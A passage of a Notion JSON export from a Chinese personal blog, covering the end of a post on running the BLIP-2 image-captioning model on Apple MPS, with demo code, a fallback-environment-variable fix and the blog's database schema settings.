e-bf56c7af7789":{"value":{"id":"01604af8-e2f3-456a-bfae-bf56c7af7789","type":"code","properties":{"title":[["from PIL import Image\nimport requests\nfrom transformers import Blip2Processor, Blip2ForConditionalGeneration\nimport torch\n\n#强制指定mps\ndevice = \"mps\"\n\nprocessor = Blip2Processor.from_pretrained(\"Salesforce/blip2-opt-2.7b\")\nmodel = Blip2ForConditionalGeneration.from_pretrained(\n \"Salesforce/blip2-opt-2.7b\", torch_dtype=torch.float16\n)\nmodel.to(device)\nurl = \"http://images.cocodataset.org/val2017/000000039769.jpg\"\nimage = Image.open(requests.get(url, stream=True).raw)\n\ninputs = processor(images=image, return_tensors=\"pt\").to(device, torch.float16)\n\ngenerated_ids = model.generate(**inputs)\ngenerated_text = processor.batch_decode(generated_ids, skip_special_tokens=True)[0].strip()\nprint(generated_text)"]],"language":[["Bash"]]},"created_time":1722926740922,"last_edited_time":1722927628153,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true}},"a7bfb048-280e-49a4-b58c-294501c4bf47":{"value":{"id":"a7bfb048-280e-49a4-b58c-294501c4bf47","type":"code","properties":{"title":[["#第一次运行可能要等很久,因为要下载模型,最好网络加个魔法\n\n#运行上面demo报错\nLoading checkpoint shards: 100%|██████████| 2/2 [00:12<00:00, 6.36s/it]\nTraceback (most recent call last):\n generated_ids = model.generate(**inputs)\n return func(*args, **kwargs)\n outputs = self.language_model.generate(\n return func(*args, **kwargs)\n result = self._greedy_search(\n unfinished_sequences = unfinished_sequences & ~stopping_criteria(input_ids, scores)\n is_done = is_done | criteria(input_ids, scores, **kwargs)\n is_done = torch.isin(input_ids[:, -1], self.eos_token_id.to(input_ids.device))\nNotImplementedError: The operator 'aten::isin.Tensor_Tensor_out' is not currently implemented for the MPS device. If you want this op to be added in priority during the prototype phase of this feature, please comment on https://github.com/pytorch/pytorch/issues/77764. As a temporary fix, you can set the environment variable `PYTORCH_ENABLE_MPS_FALLBACK=1` to use the CPU as a fallback for this op. WARNING: this will be slower than running natively on MPS.\n\n\n#强制指定环境变量如下\nPYTORCH_ENABLE_MPS_FALLBACK=1"]],"language":[["Bash"]]},"created_time":1722927625438,"last_edited_time":1722927848050,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true}},"a2ea294a-4a11-482e-a2a1-44f48424911c":{"value":{"id":"a2ea294a-4a11-482e-a2a1-44f48424911c","type":"image","properties":{"size":[["446.0KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/8c47396b-d4f5-436a-9b30-d83b08f0f83f/Untitled.png"]]},"format":{"block_width":2358,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/8c47396b-d4f5-436a-9b30-d83b08f0f83f/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.45038167938931295,"block_preserve_scale":true},"created_time":1722927779769,"last_edited_time":1722927783892,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true,"file_ids":["8c47396b-d4f5-436a-9b30-d83b08f0f83f"]}},"b1e71cc5-7bb5-4436-9f69-54c308671fbc":{"value":{"id":"b1e71cc5-7bb5-4436-9f69-54c308671fbc","type":"code","properties":{"title":[["#最后输出\ntwo cats laying on a couch"]],"language":[["Bash"]]},"created_time":1722927858728,"last_edited_time":1722927863011,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true}},"906dd22b-a10a-4939-9626-487a0ab70230":{"value":{"id":"906dd22b-a10a-4939-9626-487a0ab70230","type":"header","properties":{"title":[["总结"]]},"format":{"copied_from_pointer":{"id":"2a4bed21-5134-4768-b685-1e2970694950","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1722915674147,"last_edited_time":1722916000289,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true,"copied_from":"2a4bed21-5134-4768-b685-1e2970694950"}},"436ed2bf-2c74-4e99-a8c7-458f587c1bed":{"value":{"id":"436ed2bf-2c74-4e99-a8c7-458f587c1bed","type":"bulleted_list","properties":{"title":[["其实效果一般,可能我用的float16"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1722915674147,"last_edited_time":1722927980787,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"f918e56e-73eb-49dd-9a54-66f979258e9d":{"value":{"id":"f918e56e-73eb-49dd-9a54-66f979258e9d","type":"bulleted_list","properties":{"title":[["最主要就是安装decode"]]},"created_time":1722927981748,"last_edited_time":1722927995958,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true}},"6c9145a7-be57-4e69-ba68-5914fcd1e2d0":{"value":{"id":"6c9145a7-be57-4e69-ba68-5914fcd1e2d0","type":"bulleted_list","properties":{"title":[["decode的cmake有点麻烦"]]},"created_time":1722927996278,"last_edited_time":1722928007625,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true}},"da4f76bc-f7a8-4ae0-b74b-d752618cc999":{"value":{"id":"da4f76bc-f7a8-4ae0-b74b-d752618cc999","type":"bulleted_list","properties":{"title":[["最后执行的时候,下载模型要卡很久,这里看网速就知道其实正在下载"]]},"created_time":1722928007797,"last_edited_time":1722928032762,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true}},"fbcb8b6e-0327-42dc-9e5c-c7c2f4817389":{"value":{"id":"fbcb8b6e-0327-42dc-9e5c-c7c2f4817389","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1722915674147,"last_edited_time":1722915674147,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"77124679-9a76-4755-8f3f-55462341f73a":{"value":{"id":"77124679-9a76-4755-8f3f-55462341f73a","type":"column_list","content":["97fe8102-66ed-4266-a406-1f4816439551","82e29a92-8acc-481b-a32b-4bb4a551c11d","9cbd9499-3725-420f-b2c8-ff0808c0290c"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1722915674147,"last_edited_time":1722915674147,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"97fe8102-66ed-4266-a406-1f4816439551":{"value":{"id":"97fe8102-66ed-4266-a406-1f4816439551","type":"column","content":["04b4d946-6894-47c1-a771-0a425fc9dc31"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1722915674148,"last_edited_time":1722915674148,"parent_id":"77124679-9a76-4755-8f3f-55462341f73a","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"82e29a92-8acc-481b-a32b-4bb4a551c11d":{"value":{"id":"82e29a92-8acc-481b-a32b-4bb4a551c11d","type":"column","content":["c9fa3da8-29d6-438b-a046-3c4d501f1d65","cdbf56b0-1022-44b0-a663-2ee724a29a98"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1722915674148,"last_edited_time":1722915674148,"parent_id":"77124679-9a76-4755-8f3f-55462341f73a","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"9cbd9499-3725-420f-b2c8-ff0808c0290c":{"value":{"id":"9cbd9499-3725-420f-b2c8-ff0808c0290c","type":"column","content":["4759bb26-5963-4ea0-b152-19ab022b678b"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1722915674148,"last_edited_time":1722915674148,"parent_id":"77124679-9a76-4755-8f3f-55462341f73a","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"04b4d946-6894-47c1-a771-0a425fc9dc31":{"value":{"id":"04b4d946-6894-47c1-a771-0a425fc9dc31","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1722915674148,"last_edited_time":1722915674148,"parent_id":"97fe8102-66ed-4266-a406-1f4816439551","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"c9fa3da8-29d6-438b-a046-3c4d501f1d65":{"value":{"id":"c9fa3da8-29d6-438b-a046-3c4d501f1d65","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["b"],["i"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1722915674148,"last_edited_time":1722915674148,"parent_id":"82e29a92-8acc-481b-a32b-4bb4a551c11d","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"cdbf56b0-1022-44b0-a663-2ee724a29a98":{"value":{"id":"cdbf56b0-1022-44b0-a663-2ee724a29a98","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1722915674148,"last_edited_time":1722915674148,"parent_id":"82e29a92-8acc-481b-a32b-4bb4a551c11d","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"4759bb26-5963-4ea0-b152-19ab022b678b":{"value":{"id":"4759bb26-5963-4ea0-b152-19ab022b678b","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1722915674148,"last_edited_time":1722915674148,"parent_id":"9cbd9499-3725-420f-b2c8-ff0808c0290c","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}},"cd589f2a-8f1e-4f0f-9ec0-a5774b77007a":{"value":{"id":"cd589f2a-8f1e-4f0f-9ec0-a5774b77007a","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1722915674147,"last_edited_time":1722915674147,"parent_id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","color":"gray","value":"运维"},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","color":"orange","value":"linux"},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","color":"orange","value":"脚本"},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","color":"yellow","value":"面试"},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","color":"gray","value":"go"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1","fbea6284-6910-456b-9292-c62e080c9f59"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{"eb3e1328-8f32-4ff5-8d18-8ea80020e175":{"role":"none"}},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":53,"type":"table","name":"Table","format":{"table_properties":[{"width":295,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","33fa284f-0c06-4f26-9ca3-be25469051c4","e267a30e-29c7-47df-8dc2-cbba50b01443","5bc86ceb-2501-4ba3-a7f9-588407e6d47a","154f5010-17f2-8079-beb8-c6a44f0aa69c","153f5010-17f2-8037-8e89-ecfcb9d24a89","b7f50367-a6df-4492-a459-4baef5b1e4c3","a741252c-e46b-4342-998c-58ebc362fc0d","df1cfd49-4665-4429-a601-d6e8d57f2a50","6f317036-a205-45d7-98ce-c95a34ca3000","2187a0b2-05d0-4661-906d-3f47acc5b022","023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","ac8b0aec-6e91-49e0-b6c0-806e97729436","fdb70c2f-29b1-4635-bb36-fc826bad8fbd","2caa6a98-fd82-4de7-838f-e08dfe6649ab","146219e7-c178-4485-b223-22f4b977333c","71879fde-4992-4276-9767-ac5bd71e4058","9a78ba09-76ce-4344-bad5-f6d60dc0680e","63830328-e0f0-477a-b327-bc4ab921f89c","4d955058-b605-46cf-b242-1535b732af30","9a11ddf0-58ae-4450-8583-5ba3e2108e0a","1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","3505b511-076b-47a7-aa1a-95e702c54e6b","463a3c80-4e43-42d9-b436-1299d00df6b2","11d73154-336e-4e5a-8e92-8a8b36b2bc92","df0db62b-d0ed-47f0-b5be-445bfef1f6af","3fb907b8-6154-452a-94f7-a018ba092632","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":2,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"property":"bB{M"},{"value":{"type":"select","value":"面试准备"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":28,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee0